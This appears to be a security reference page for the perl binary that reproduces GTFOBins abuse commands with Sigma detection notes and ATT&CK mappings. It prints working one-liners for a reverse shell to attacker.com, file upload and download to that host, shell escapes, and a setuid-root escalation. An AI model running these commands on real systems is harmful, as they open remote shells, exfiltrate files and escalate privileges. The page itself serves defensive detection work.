Identifier / Programs / Linux and Unix
perl
The Perl 5 language interpreter. tldr-pages
GTFOBins download, file-read, reverse-shell, shell, upload 5 Sigma rules name it 2 ATT&CK techniques 6 documented commands
How perl is abused
file-read
-nereverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eshell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
-MIO-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for perl.
6 documented commands
download unprivileged, with sudo
perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);'Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
perl -ne print /path/to/input-fileTrips no Sigma process-creation rule.
reverse-shell unprivileged, with sudo
perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Trips 1 Sigma rule: highPotential Perl Reverse Shell Execution by @d4ns4n_, Nasreddine Bencherchali (Nextron Systems)
shell unprivileged, with sudo, with capabilities
perl -e 'exec "/bin/sh"'With capabilities:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'Trips no Sigma process-creation rule.
shell unprivileged, with sudo
The /dev/null part can be omitted, just use Ctrl-D in order to spawn the shell.
PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/nullTrips no Sigma process-creation rule.
upload unprivileged, with sudo
perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);'Trips no Sigma process-creation rule.
1 of the 6 commands the identifier reads trips a Sigma process-creation rule; 5 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for perl. The identifier reads the line of each that runs perl.
What detects it
Everyday use
Print lines from stdin matching regex1 and case insensitive regex2
perl -n -e 'print if m/regex1/ and m/regex2/i'IdentifySay ([-E]) first match group, using a regex, ignoring space (x) in regex
perl -n -E 'say $1 if m/before ( group_regex ) after/x'Identifyin-place, with backup, substitute all occurrence (g) of regex with a replacement
perl -i'.bak' -p -e 's/regex/replacement/g' path/to/filesIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.